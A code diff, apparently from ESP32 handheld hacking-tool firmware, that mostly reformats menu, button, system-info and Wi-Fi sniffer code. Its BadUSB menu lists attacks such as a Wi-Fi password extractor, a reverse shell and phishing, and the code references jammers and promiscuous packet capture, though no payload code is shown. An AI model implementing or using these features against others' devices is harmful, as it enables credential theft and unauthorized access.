| 43 | + | "Wifi Password Extractor", | |
| 44 | + | "Fake Update", | |
| 45 | + | "Fake BSOD", | |
| 46 | + | "Glitch Screen", | |
| 47 | + | "ASCII Spam", | |
| 48 | + | "Hacker Typer", | |
| 49 | + | "PWN Reverse shell", | |
| 50 | + | "Phishing attack", | |
| 51 | + | "Desktop Ghost", | |
| 52 | + | "System Stresser"}; | |
| 69 | 53 | ||
| 70 | 54 | Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; | |
| 71 | 55 | ||
| @@ -82,282 +66,251 @@ bool insideFeature = false; | |||
| 82 | 66 | ||
| 83 | 67 | // ================= DRAW ================= | |
| 84 | 68 | ||
| 85 | − | void drawMenu() | |
| 86 | − | { | |
| 87 | − | u8g2.clearBuffer(); | |
| 69 | + | void drawMenu() { | |
| 70 | + | u8g2.clearBuffer(); | |
| 88 | 71 | ||
| 89 | − | // scroll handling | |
| 90 | − | if (menuIndex < menuOffset) | |
| 91 | − | menuOffset = menuIndex; | |
| 72 | + | // scroll handling | |
| 73 | + | if (menuIndex < menuOffset) | |
| 74 | + | menuOffset = menuIndex; | |
| 92 | 75 | ||
| 93 | − | if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) | |
| 94 | − | menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; | |
| 76 | + | if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) | |
| 77 | + | menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; | |
| 95 | 78 | ||
| 96 | − | for (int i = 0; i < MENU_VISIBLE_ROWS; i++) | |
| 97 | − | { | |
| 98 | − | int item = menuOffset + i; | |
| 79 | + | for (int i = 0; i < MENU_VISIBLE_ROWS; i++) { | |
| 80 | + | int item = menuOffset + i; | |
| 99 | 81 | ||
| 100 | − | if (item >= currentMenu->size) | |
| 101 | − | break; | |
| 82 | + | if (item >= currentMenu->size) | |
| 83 | + | break; | |
| 102 | 84 | ||
| 103 | − | if (item == menuIndex) | |
| 104 | − | u8g2.drawStr(0, 14 + i * 14, ">"); | |
| 85 | + | if (item == menuIndex) | |
| 86 | + | u8g2.drawStr(0, 14 + i * 14, ">"); | |
| 105 | 87 | ||
| 106 | − | u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); | |
| 107 | − | } | |
| 88 | + | u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); | |
| 89 | + | } | |
| 108 | 90 | ||
| 109 | − | // scroll indicators | |
| 110 | − | if (menuOffset > 0) | |
| 111 | − | u8g2.drawStr(118, 10, "^"); | |
| 91 | + | // scroll indicators | |
| 92 | + | if (menuOffset > 0) | |
| 93 | + | u8g2.drawStr(118, 10, "^"); | |
| 112 | 94 | ||
| 113 | − | if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) | |
| 114 | − | u8g2.drawStr(118, 62, "v"); | |
| 95 | + | if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) | |
| 96 | + | u8g2.drawStr(118, 62, "v"); | |
| 115 | 97 | ||
| 116 | − | u8g2.sendBuffer(); | |
| 98 | + | u8g2.sendBuffer(); | |
| 117 | 99 | } | |
| 118 | 100 | ||
| 119 | 101 | // ================= FEATURE EXECUTION ================= | |
| 120 | 102 | ||
| 121 | − | void launchFeature() | |
| 122 | − | { | |
| 123 | − | insideFeature = true; | |
| 124 | − | ||
| 125 | − | if (currentMenu == &mainMenu) | |
| 126 | − | { | |
| 127 | − | switch (menuIndex) | |
| 128 | − | { | |
| 129 | − | case 0: // BadUSB → enter submenu | |
| 130 | − | currentMenu = &badusbMenu; | |
| 131 | − | menuIndex = 0; | |
| 132 | − | menuOffset = 0; | |
| 133 | − | break; | |
| 134 | − | ||
| 135 | − | case 1: | |
| 136 | − | handleMenu(); | |
| 137 | − | break; | |
| 138 | − | case 2: | |
| 139 | − | // startNRFJammer(); | |
| 140 | − | //startBleJammer(); | |
| 141 | − | //startBluetoothJammer(); | |
| 142 | − | currentMenu = &nrfToolsMenu; | |
| 143 | − | menuIndex = 0; | |
| 144 | − | menuOffset = 0; | |
| 145 | − | break; | |
| 146 | − | ||
| 147 | − | break; | |
| 148 | − | case 3: | |
| 149 | − | ble_scan(); | |
| 150 | − | ble_drawMenu(); | |
| 151 | − | while (1) { | |
| 152 | − | ble_loop(); | |
| 153 | − | if (btnBack()) | |
| 154 | − | break; | |
| 155 | − | } | |
| 156 | − | break; | |
| 157 | − | ||
| 158 | − | case 4: | |
| 159 | − | { | |
| 160 | − | // Start scan once | |
| 161 | − | wifi_scan_start(); | |
| 162 | − | wifi_scan_draw(); | |
| 163 | − | ||
| 164 | − | while (1) { | |
| 165 | − | wifi_scan_loop(); | |
| 166 | − | // EXIT condition handled ONLY here | |
| 167 | − | if (btnBack()) { | |
| 168 | − | delay(150); // debounce | |
| 169 | − | break; | |
| 170 | − | } | |
| 171 | − | } | |
| 172 | − | break; | |
| 173 | − | } | |
| 174 | − | case 5: | |
| 175 | − | { | |
| 176 | − | ||
| 177 | − | wifi_analyzer_start(); | |
| 178 | − | ||
| 179 | − | bool prevBack = false; | |
| 180 | − | while (1) | |
| 181 | − | { | |
| 182 | − | wifi_analyzer_loop(); | |
| 183 | − | bool nowBack = btnBack(); | |
| 184 | − | if (nowBack && !prevBack) | |
| 185 | − | { | |
| 186 | − | delay(150); | |
| 187 | − | break; | |
| 188 | − | } | |
| 189 | − | prevBack = nowBack; | |
| 190 | − | } | |
| 191 | − | break; | |
| 192 | − | } | |
| 193 | − | ||
| 194 | − | case 6: | |
| 195 | − | runSystemInfoFeature(); | |
| 196 | − | break; | |
| 197 | − | case 7: | |
| 198 | − | device_check_run(); | |
| 199 | − | break; | |
| 200 | − | case 8: | |
| 201 | − | { | |
| 202 | − | // wait for button release | |
| 203 | − | delay(200); | |
| 204 | − | ||
| 205 | − | while (btnSelect()) | |
| 206 | − | delay(10); | |
| 207 | − | bool confirm = false; | |
| 208 | − | ||
| 209 | − | while (1) | |
| 210 | − | { | |
| 211 | − | u8g2.clearBuffer(); | |
| 212 | − | u8g2.setFont(u8g2_font_6x13_tr); | |
| 213 | − | ||
| 214 | − | u8g2.drawStr(18, 18, "Restart Device?"); | |
| 215 | − | ||
| 216 | − | if (confirm) | |
| 217 | − | { | |
| 218 | − | u8g2.drawBox(10, 35, 45, 15); | |
| 219 | − | u8g2.setDrawColor(0); | |
| 220 | − | u8g2.drawStr(20, 47, "YES"); | |
| 221 | − | u8g2.setDrawColor(1); | |
| 222 | − | ||
| 223 | − | u8g2.drawStr(75, 47, "NO"); | |
| 224 | − | } | |
| 225 | − | else | |
| 226 | − | { | |
| 227 | − | u8g2.drawStr(20, 47, "YES"); | |
| 228 | − | ||
| 229 | − | u8g2.drawBox(65, 35, 45, 15); | |
| 230 | − | u8g2.setDrawColor(0); | |
| 231 | − | u8g2.drawStr(78, 47, "NO"); | |
| 232 | − | u8g2.setDrawColor(1); | |
| 233 | − | } | |
| 234 | − | ||
| 235 | − | u8g2.sendBuffer(); | |
| 236 | − | ||
| 237 | − | if (btnLeft() || btnUp()) | |
| 238 | − | { | |
| 239 | − | confirm = true; | |
| 240 | − | delay(150); | |
| 241 | − | } | |
| 242 | − | ||
| 243 | − | if (btnRight() || btnDown()) | |
| 244 | − | { | |
| 245 | − | confirm = false; | |
| 246 | − | delay(150); | |
| 247 | − | } | |
| 248 | − | ||
| 249 | − | if (btnSelect()) | |
| 250 | − | { | |
| 251 | − | delay(150); | |
| 252 | − | ||
| 253 | − | if (confirm) | |
| 254 | − | { | |
| 255 | − | u8g2.clearBuffer(); | |
| 256 | − | u8g2.drawStr(28, 30, "Restarting..."); | |
| 257 | − | u8g2.sendBuffer(); | |
| 258 | − | ||
| 259 | − | delay(1000); | |
| 260 | − | ESP.restart(); | |
| 261 | − | } | |
| 262 | − | else | |
| 263 | − | { | |
| 264 | − | break; | |
| 265 | − | } | |
| 266 | − | } | |
| 267 | − | ||
| 268 | − | if (btnBack()) | |
| 269 | − | { | |
| 270 | − | delay(150); | |
| 271 | − | break; | |
| 272 | − | } | |
| 273 | − | } | |
| 274 | − | } | |
| 275 | − | break; | |
| 276 | − | ||
| 277 | − | case 9: | |
| 278 | − | // Begin Ble mouse | |
| 279 | − | bleMouse.begin(); | |
| 280 | − | ble_mouse_run(); | |
| 281 | − | break; | |
| 282 | − | case 10: | |
| 283 | − | pn532_scan_loop(); | |
| 284 | − | break; | |
| 103 | + | void launchFeature() { | |
| 104 | + | insideFeature = true; | |
| 105 | + | ||
| 106 | + | if (currentMenu == &mainMenu) { | |
| 107 | + | switch (menuIndex) { | |
| 108 | + | case 0: // BadUSB → enter submenu | |
| 109 | + | currentMenu = &badusbMenu; | |
| 110 | + | menuIndex = 0; | |
| 111 | + | menuOffset = 0; | |
| 112 | + | break; | |
| 113 | + | ||
| 114 | + | case 1: | |
| 115 | + | handleMenu(); | |
| 116 | + | break; | |
| 117 | + | case 2: | |
| 118 | + | // startNRFJammer(); | |
| 119 | + | // startBleJammer(); | |
| 120 | + | // startBluetoothJammer(); | |
| 121 | + | currentMenu = &nrfToolsMenu; | |
| 122 | + | menuIndex = 0; | |
| 123 | + | menuOffset = 0; | |
| 124 | + | break; | |
| 125 | + | ||
| 126 | + | break; | |
| 127 | + | case 3: | |
| 128 | + | ble_scan(); | |
| 129 | + | ble_drawMenu(); | |
| 130 | + | while (1) { | |
| 131 | + | ble_loop(); | |
| 132 | + | if (btnBack()) | |
| 133 | + | break; | |
| 134 | + | } | |
| 135 | + | break; | |
| 136 | + | ||
| 137 | + | case 4: { | |
| 138 | + | // Start scan once | |
| 139 | + | wifi_scan_start(); | |
| 140 | + | wifi_scan_draw(); | |
| 141 | + | ||
| 142 | + | while (1) { | |
| 143 | + | wifi_scan_loop(); | |
| 144 | + | // EXIT condition handled ONLY here | |
| 145 | + | if (btnBack()) { | |
| 146 | + | delay(150); // debounce | |
| 147 | + | break; | |
| 285 | 148 | } | |
| 149 | + | } | |
| 150 | + | break; | |
| 286 | 151 | } | |
| 287 | − | else if (currentMenu == &badusbMenu) | |
| 288 | − | { | |
| 289 | − | badUSBMenu(menuIndex); | |
| 290 | − | } else if (currentMenu == &nrfToolsMenu) { | |
| 291 | − | NRFToolsMenu(menuIndex); | |
| 152 | + | case 5: { | |
| 153 | + | ||
| 154 | + | wifi_analyzer_start(); | |
| 155 | + | ||
| 156 | + | bool prevBack = false; | |
| 157 | + | while (1) { | |
| 158 | + | wifi_analyzer_loop(); | |
| 159 | + | bool nowBack = btnBack(); | |
| 160 | + | if (nowBack && !prevBack) { | |
| 161 | + | delay(150); | |
| 162 | + | break; | |
| 163 | + | } | |
| 164 | + | prevBack = nowBack; | |
| 165 | + | } | |
| 166 | + | break; | |
| 292 | 167 | } | |
| 293 | 168 | ||
| 294 | − | insideFeature = false; | |
| 169 | + | case 6: | |
| 170 | + | runSystemInfoFeature(); | |
| 171 | + | break; | |
| 172 | + | case 7: | |
| 173 | + | device_check_run(); | |
| 174 | + | break; | |
| 175 | + | case 8: { | |
| 176 | + | // wait for button release | |
| 177 | + | delay(200); | |
| 178 | + | ||
| 179 | + | while (btnSelect()) | |
| 180 | + | delay(10); | |
| 181 | + | bool confirm = false; | |
| 182 | + | ||
| 183 | + | while (1) { | |
| 184 | + | u8g2.clearBuffer(); | |
| 185 | + | u8g2.setFont(u8g2_font_6x13_tr); | |
| 186 | + | ||
| 187 | + | u8g2.drawStr(18, 18, "Restart Device?"); | |
| 188 | + | ||
| 189 | + | if (confirm) { | |
| 190 | + | u8g2.drawBox(10, 35, 45, 15); | |
| 191 | + | u8g2.setDrawColor(0); | |
| 192 | + | u8g2.drawStr(20, 47, "YES"); | |
| 193 | + | u8g2.setDrawColor(1); | |
| 194 | + | ||
| 195 | + | u8g2.drawStr(75, 47, "NO"); | |
| 196 | + | } else { | |
| 197 | + | u8g2.drawStr(20, 47, "YES"); | |
| 198 | + | ||
| 199 | + | u8g2.drawBox(65, 35, 45, 15); | |
| 200 | + | u8g2.setDrawColor(0); | |
| 201 | + | u8g2.drawStr(78, 47, "NO"); | |
| 202 | + | u8g2.setDrawColor(1); | |
| 203 | + | } | |
| 204 | + | ||
| 205 | + | u8g2.sendBuffer(); | |
| 295 | 206 | ||
| 296 | − | drawMenu(); | |
| 207 | + | if (btnLeft() || btnUp()) { | |
| 208 | + | confirm = true; | |
| 209 | + | delay(150); | |
| 210 | + | } | |
| 211 | + | ||
| 212 | + | if (btnRight() || btnDown()) { | |
| 213 | + | confirm = false; | |
| 214 | + | delay(150); | |
| 215 | + | } | |
| 216 | + | ||
| 217 | + | if (btnSelect()) { | |
| 218 | + | delay(150); | |
| 219 | + | ||
| 220 | + | if (confirm) { | |
| 221 | + | u8g2.clearBuffer(); | |
| 222 | + | u8g2.drawStr(28, 30, "Restarting..."); | |
| 223 | + | u8g2.sendBuffer(); | |
| 224 | + | ||
| 225 | + | delay(1000); | |
| 226 | + | ESP.restart(); | |
| 227 | + | } else { | |
| 228 | + | break; | |
| 229 | + | } | |
| 230 | + | } | |
| 231 | + | ||
| 232 | + | if (btnBack()) { | |
| 233 | + | delay(150); | |
| 234 | + | break; | |
| 235 | + | } | |
| 236 | + | } | |
| 237 | + | } break; | |
| 238 | + | ||
| 239 | + | case 9: | |
| 240 | + | // Begin Ble mouse | |
| 241 | + | bleMouse.begin(); | |
| 242 | + | ble_mouse_run(); | |
| 243 | + | break; | |
| 244 | + | case 10: | |
| 245 | + | pn532_scan_loop(); | |
| 246 | + | break; | |
| 247 | + | } | |
| 248 | + | } else if (currentMenu == &badusbMenu) { | |
| 249 | + | badUSBMenu(menuIndex); | |
| 250 | + | } else if (currentMenu == &nrfToolsMenu) { | |
| 251 | + | NRFToolsMenu(menuIndex); | |
| 252 | + | } | |
| 253 | + | ||
| 254 | + | insideFeature = false; | |
| 255 | + | ||
| 256 | + | drawMenu(); | |
| 297 | 257 | } | |
| 298 | 258 | ||
| 299 | 259 | // ================= INIT ================= | |
| 300 | 260 | ||
| 301 | − | void menuInit() | |
| 302 | − | { | |
| 303 | − | currentMenu = &mainMenu; | |
| 304 | − | menuIndex = 0; | |
| 305 | − | menuOffset = 0; | |
| 261 | + | void menuInit() { | |
| 262 | + | currentMenu = &mainMenu; | |
| 263 | + | menuIndex = 0; | |
| 264 | + | menuOffset = 0; | |
| 306 | 265 | ||
| 307 | − | drawMenu(); | |
| 266 | + | drawMenu(); | |
| 308 | 267 | } | |
| 309 | 268 | ||
| 310 | 269 | // ================= LOOP ================= | |
| 311 | 270 | ||
| 312 | − | void menuLoop() | |
| 313 | − | { | |
| 314 | − | static uint32_t lastPress = 0; | |
| 315 | − | ||
| 316 | − | if (insideFeature) | |
| 317 | − | return; | |
| 271 | + | void menuLoop() { | |
| 272 | + | static uint32_t lastPress = 0; | |
| 318 | 273 | ||
| 319 | − | if (millis() - lastPress < 150) | |
| 320 | − | return; | |
| 274 | + | if (insideFeature) | |
| 275 | + | return; | |
| 321 | 276 | ||
| 322 | − | if (btnUp()) | |
| 323 | − | { | |
| 324 | − | menuIndex--; | |
| 277 | + | if (millis() - lastPress < 150) | |
| 278 | + | return; | |
| 325 | 279 | ||
| 326 | − | if (menuIndex < 0) | |
| 327 | − | menuIndex = currentMenu->size - 1; | |
| 280 | + | if (btnUp()) { | |
| 281 | + | menuIndex--; | |
| 328 | 282 | ||
| 329 | − | drawMenu(); | |
| 330 | − | lastPress = millis(); | |
| 331 | − | } | |
| 283 | + | if (menuIndex < 0) | |
| 284 | + | menuIndex = currentMenu->size - 1; | |
| 332 | 285 | ||
| 333 | − | else if (btnDown()) | |
| 334 | − | { | |
| 335 | − | menuIndex++; | |
| 286 | + | drawMenu(); | |
| 287 | + | lastPress = millis(); | |
| 288 | + | } | |
| 336 | 289 | ||
| 337 | − | if (menuIndex >= currentMenu->size) | |
| 338 | − | menuIndex = 0; | |
| 290 | + | else if (btnDown()) { | |
| 291 | + | menuIndex++; | |
| 339 | 292 | ||
| 340 | − | drawMenu(); | |
| 341 | − | lastPress = millis(); | |
| 342 | − | } | |
| 293 | + | if (menuIndex >= currentMenu->size) | |
| 294 | + | menuIndex = 0; | |
| 343 | 295 | ||
| 344 | − | else if (btnSelect()) | |
| 345 | − | { | |
| 346 | − | launchFeature(); | |
| 347 | − | lastPress = millis(); | |
| 348 | − | } | |
| 296 | + | drawMenu(); | |
| 297 | + | lastPress = millis(); | |
| 298 | + | } | |
| 349 | 299 | ||
| 350 | − | else if (btnBack()) | |
| 351 | − | { | |
| 352 | − | if (currentMenu != &mainMenu) | |
| 353 | − | { | |
| 354 | − | currentMenu = &mainMenu; | |
| 355 | − | menuIndex = 0; | |
| 356 | − | menuOffset = 0; | |
| 300 | + | else if (btnSelect()) { | |
| 301 | + | launchFeature(); | |
| 302 | + | lastPress = millis(); | |
| 303 | + | } | |
| 357 | 304 | ||
| 358 | − | drawMenu(); | |
| 359 | − | } | |
| 305 | + | else if (btnBack()) { | |
| 306 | + | if (currentMenu != &mainMenu) { | |
| 307 | + | currentMenu = &mainMenu; | |
| 308 | + | menuIndex = 0; | |
| 309 | + | menuOffset = 0; | |
| 360 | 310 | ||
| 361 | − | lastPress = millis(); | |
| 311 | + | drawMenu(); | |
| 362 | 312 | } | |
| 313 | + | ||
| 314 | + | lastPress = millis(); | |
| 315 | + | } | |
| 363 | 316 | } | |
| @@ -1,15 +1,14 @@ | |||
| 1 | 1 | #include "buttons.h" | |
| 2 | − | #include <Arduino.h> | |
| 3 | 2 | #include "../config.h" | |
| 3 | + | #include <Arduino.h> | |
| 4 | 4 | ||
| 5 | − | void buttonsInit() | |
| 6 | − | { | |
| 7 | − | pinMode(BTN_UP, INPUT_PULLUP); | |
| 8 | − | pinMode(BTN_DOWN, INPUT_PULLUP); | |
| 9 | − | pinMode(BTN_SELECT, INPUT_PULLUP); | |
| 10 | − | pinMode(BTN_BACK, INPUT_PULLUP); | |
| 11 | − | pinMode(BTN_RIGHT, INPUT_PULLUP); | |
| 12 | − | pinMode(BTN_LEFT, INPUT_PULLUP); | |
| 5 | + | void buttonsInit() { | |
| 6 | + | pinMode(BTN_UP, INPUT_PULLUP); | |
| 7 | + | pinMode(BTN_DOWN, INPUT_PULLUP); | |
| 8 | + | pinMode(BTN_SELECT, INPUT_PULLUP); | |
| 9 | + | pinMode(BTN_BACK, INPUT_PULLUP); | |
| 10 | + | pinMode(BTN_RIGHT, INPUT_PULLUP); | |
| 11 | + | pinMode(BTN_LEFT, INPUT_PULLUP); | |
| 13 | 12 | } | |
| 14 | 13 | ||
| 15 | 14 | bool btnUp() { return !digitalRead(BTN_UP); } | |
| @@ -1,87 +1,84 @@ | |||
| 1 | − | #include <Arduino.h> | |
| 2 | 1 | #include "../ui/display.h" | |
| 3 | 2 | #include "buttons.h" | |
| 3 | + | #include <Arduino.h> | |
| 4 | 4 | #include <esp_chip_info.h> | |
| 5 | 5 | #include <esp_heap_caps.h> | |
| 6 | 6 | ||
| 7 | − | void runSystemInfoFeature() | |
| 8 | − | { | |
| 9 | − | esp_chip_info_t chip_info; | |
| 10 | − | ||
| 11 | − | esp_chip_info(&chip_info); | |
| 7 | + | void runSystemInfoFeature() { | |
| 8 | + | esp_chip_info_t chip_info; | |
| 12 | 9 | ||
| 13 | − | while (true) | |
| 14 | − | { | |
| 15 | − | //u8g2.clearBuffer(); | |
| 10 | + | esp_chip_info(&chip_info); | |
| 16 | 11 | ||
| 17 | − | //char buf[32]; | |
| 12 | + | while (true) { | |
| 13 | + | // u8g2.clearBuffer(); | |
| 18 | 14 | ||
| 19 | − | //sprintf(buf, "Cores: %d", chip_info.cores); | |
| 20 | − | //u8g2.drawStr(0, 14, buf); | |
| 15 | + | // char buf[32]; | |
| 21 | 16 | ||
| 22 | − | //sprintf(buf, "Heap: %d", | |
| 23 | − | // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); | |
| 24 | − | //u8g2.drawStr(0, 28, buf); | |
| 17 | + | // sprintf(buf, "Cores: %d", chip_info.cores); | |
| 18 | + | // u8g2.drawStr(0, 14, buf); | |
| 25 | 19 | ||
| 20 | + | // sprintf(buf, "Heap: %d", | |
| 21 | + | // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); | |
| 22 | + | // u8g2.drawStr(0, 28, buf); | |
| 26 | 23 | ||
| 27 | − | //u8g2.drawStr(0, 60, "BACK to exit"); | |
| 24 | + | // u8g2.drawStr(0, 60, "BACK to exit"); | |
| 28 | 25 | ||
| 29 | − | // Get RAM info | |
| 30 | − | size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); | |
| 31 | − | size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); | |
| 32 | − | int ramUsage = 100 - ((freeHeap * 100) / totalHeap); | |
| 26 | + | // Get RAM info | |
| 27 | + | size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); | |
| 28 | + | size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); | |
| 29 | + | int ramUsage = 100 - ((freeHeap * 100) / totalHeap); | |
| 33 | 30 | ||
| 34 | − | // Get Flash info | |
| 35 | − | //uint32_t flashSize = spi_flash_get_chip_size(); | |
| 36 | − | uint32_t flashSize = ESP.getFlashChipSize(); | |
| 37 | − | uint32_t flashUsed = ESP.getSketchSize(); | |
| 38 | − | int flashUsage = (flashUsed * 100) / flashSize; | |
| 31 | + | // Get Flash info | |
| 32 | + | // uint32_t flashSize = spi_flash_get_chip_size(); | |
| 33 | + | uint32_t flashSize = ESP.getFlashChipSize(); | |
| 34 | + | uint32_t flashUsed = ESP.getSketchSize(); | |
| 35 | + | int flashUsage = (flashUsed * 100) / flashSize; | |
| 39 | 36 | ||
| 40 | − | // Temperature (approx) | |
| 41 | − | uint8_t temperature = temperatureRead(); | |
| 37 | + | // Temperature (approx) | |
| 38 | + | uint8_t temperature = temperatureRead(); | |
| 42 | 39 | ||
| 43 | − | // Chip info | |
| 44 | − | esp_chip_info_t chip_info; | |
| 45 | − | esp_chip_info(&chip_info); | |
| 46 | − | ||
| 47 | − | u8g2.clearBuffer(); | |
| 48 | − | u8g2.setFont(u8g2_font_6x12_tr); | |
| 40 | + | // Chip info | |
| 41 | + | esp_chip_info_t chip_info; | |
| 42 | + | esp_chip_info(&chip_info); | |
| 49 | 43 | ||
| 50 | − | char buf[32]; | |
| 44 | + | u8g2.clearBuffer(); | |
| 45 | + | u8g2.setFont(u8g2_font_6x12_tr); | |
| 51 | 46 | ||
| 52 | − | // Box 1 - RAM | |
| 53 | − | u8g2.drawFrame(0, 0, 128, 12); | |
| 54 | − | sprintf(buf, "RAM: %d%% used", ramUsage); | |
| 55 | − | u8g2.drawStr(4, 9, buf); | |
| 47 | + | char buf[32]; | |
| 56 | 48 | ||
| 57 | − | // Box 2 - Flash | |
| 58 | − | u8g2.drawFrame(0, 12, 128, 12); | |
| 59 | − | sprintf(buf, "Flash: %d%% used", flashUsage); | |
| 60 | − | u8g2.drawStr(4, 21, buf); | |
| 49 | + | // Box 1 - RAM | |
| 50 | + | u8g2.drawFrame(0, 0, 128, 12); | |
| 51 | + | sprintf(buf, "RAM: %d%% used", ramUsage); | |
| 52 | + | u8g2.drawStr(4, 9, buf); | |
| 61 | 53 | ||
| 62 | − | // Box 3 - Temp (FULL WIDTH now) | |
| 63 | − | u8g2.drawFrame(0, 24, 128, 12); | |
| 64 | − | sprintf(buf, "Temp: %d C", temperature); | |
| 65 | − | u8g2.drawStr(4, 33, buf); | |
| 54 | + | // Box 2 - Flash | |
| 55 | + | u8g2.drawFrame(0, 12, 128, 12); | |
| 56 | + | sprintf(buf, "Flash: %d%% used", flashUsage); | |
| 57 | + | u8g2.drawStr(4, 21, buf); | |
| 66 | 58 | ||
| 67 | − | // Box 4 - Chip info (FULL WIDTH) | |
| 68 | − | u8g2.drawFrame(0, 36, 128, 12); | |
| 69 | − | sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); | |
| 70 | − | u8g2.drawStr(4, 45, buf); | |
| 59 | + | // Box 3 - Temp (FULL WIDTH now) | |
| 60 | + | u8g2.drawFrame(0, 24, 128, 12); | |
| 61 | + | sprintf(buf, "Temp: %d C", temperature); | |
| 62 | + | u8g2.drawStr(4, 33, buf); | |
| 71 | 63 | ||
| 72 | − | // Box 5 - PSRAM (KB) | |
| 73 | − | u8g2.drawFrame(0, 48, 128, 12); | |
| 74 | − | sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); | |
| 75 | − | u8g2.drawStr(4, 57, buf); | |
| 64 | + | // Box 4 - Chip info (FULL WIDTH) | |
| 65 | + | u8g2.drawFrame(0, 36, 128, 12); | |
| 66 | + | sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); | |
| 67 | + | u8g2.drawStr(4, 45, buf); | |
| 76 | 68 | ||
| 77 | − | u8g2.sendBuffer(); | |
| 69 | + | // Box 5 - PSRAM (KB) | |
| 70 | + | u8g2.drawFrame(0, 48, 128, 12); | |
| 71 | + | sprintf(buf, "PSRAM: %lu KB", | |
| 72 | + | heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); | |
| 73 | + | u8g2.drawStr(4, 57, buf); | |
| 78 | 74 | ||
| 79 | − | if (btnBack()) | |
| 80 | − | { | |
| 81 | − | delay(200); | |
| 82 | − | return; | |
| 83 | − | } | |
| 75 | + | u8g2.sendBuffer(); | |
| 84 | 76 | ||
| 85 | − | delay(100); | |
| 77 | + | if (btnBack()) { | |
| 78 | + | delay(200); | |
| 79 | + | return; | |
| 86 | 80 | } | |
| 81 | + | ||
| 82 | + | delay(100); | |
| 83 | + | } | |
| 87 | 84 | } | |
| @@ -6,142 +6,131 @@ | |||
| 6 | 6 | #include "../utils/buttons.h" | |
| 7 | 7 | ||
| 8 | 8 | // ===== CONFIG ===== | |
| 9 | − | #define GRAPH_WIDTH 128 | |
| 10 | − | #define GRAPH_HEIGHT 44 | |
| 11 | − | #define GRAPH_TOP 10 | |
| 12 | − | #define MAX_POINTS 128 | |
| 9 | + | #define GRAPH_WIDTH 128 | |
| 10 | + | #define GRAPH_HEIGHT 44 | |
| 11 | + | #define GRAPH_TOP 10 | |
| 12 | + | #define MAX_POINTS 128 | |
| 13 | 13 | #define SPIKE_THRESHOLD 30 | |
| 14 | 14 | ||
| 15 | 15 | // ===== STATE ===== | |
| 16 | 16 | struct SnifferGraph { | |
| 17 | − | uint8_t graphData[MAX_POINTS]; | |
| 18 | − | uint8_t currentChannel = 1; | |
| 19 | − | volatile uint16_t packetCounter = 0; | |
| 20 | − | unsigned long lastChannelSwitch = 0; | |
| 21 | − | unsigned long lastUpdate = 0; | |
| 17 | + | uint8_t graphData[MAX_POINTS]; | |
| 18 | + | uint8_t currentChannel = 1; | |
| 19 | + | volatile uint16_t packetCounter = 0; | |
| 20 | + | unsigned long lastChannelSwitch = 0; | |
| 21 | + | unsigned long lastUpdate = 0; | |
| 22 | 22 | }; | |
| 23 | 23 | ||
| 24 | 24 | static SnifferGraph sniffer; | |
| 25 | 25 | ||
| 26 | 26 | // ===== CALLBACK ===== | |
| 27 | − | void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) | |
| 28 | − | { | |
| 29 | − | if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) | |
| 30 | − | { | |
| 31 | − | sniffer.packetCounter++; | |
| 32 | − | } | |
| 27 | + | void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) { | |
| 28 | + | if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) { | |
| 29 | + | sniffer.packetCounter++; | |
| 30 | + | } | |
| 33 | 31 | } | |
| 34 | 32 | ||
| 35 | 33 | // ===== INIT ===== | |
| 36 | − | void wifi_analyzer_start() | |
| 37 | − | { | |
| 38 | − | // display init (safe to call again) | |
| 39 | − | u8g2.clearBuffer(); | |
| 40 | − | u8g2.setFont(u8g2_font_5x8_tr); | |
| 41 | − | u8g2.drawStr(0, 10, "Starting analyzer..."); | |
| 42 | − | u8g2.sendBuffer(); | |
| 43 | − | ||
| 44 | − | // reset graph | |
| 45 | − | memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); | |
| 46 | − | sniffer.packetCounter = 0; | |
| 47 | − | sniffer.currentChannel = 1; | |
| 48 | − | ||
| 49 | − | // reset WiFi | |
| 50 | − | WiFi.disconnect(true, true); | |
| 51 | − | esp_wifi_stop(); | |
| 52 | − | delay(200); | |
| 53 | − | esp_wifi_deinit(); | |
| 54 | − | ||
| 55 | − | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); | |
| 56 | − | esp_wifi_init(&cfg); | |
| 57 | − | esp_wifi_set_storage(WIFI_STORAGE_RAM); | |
| 58 | − | esp_wifi_set_mode(WIFI_MODE_NULL); | |
| 59 | − | esp_wifi_start(); | |
| 60 | − | ||
| 61 | − | esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); | |
| 62 | − | esp_wifi_set_promiscuous_rx_cb(snifferCallback); | |
| 63 | − | esp_wifi_set_promiscuous(true); | |
| 34 | + | void wifi_analyzer_start() { | |
| 35 | + | // display init (safe to call again) | |
| 36 | + | u8g2.clearBuffer(); | |
| 37 | + | u8g2.setFont(u8g2_font_5x8_tr); | |
| 38 | + | u8g2.drawStr(0, 10, "Starting analyzer..."); | |
| 39 | + | u8g2.sendBuffer(); | |
| 40 | + | ||
| 41 | + | // reset graph | |
| 42 | + | memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); | |
| 43 | + | sniffer.packetCounter = 0; | |
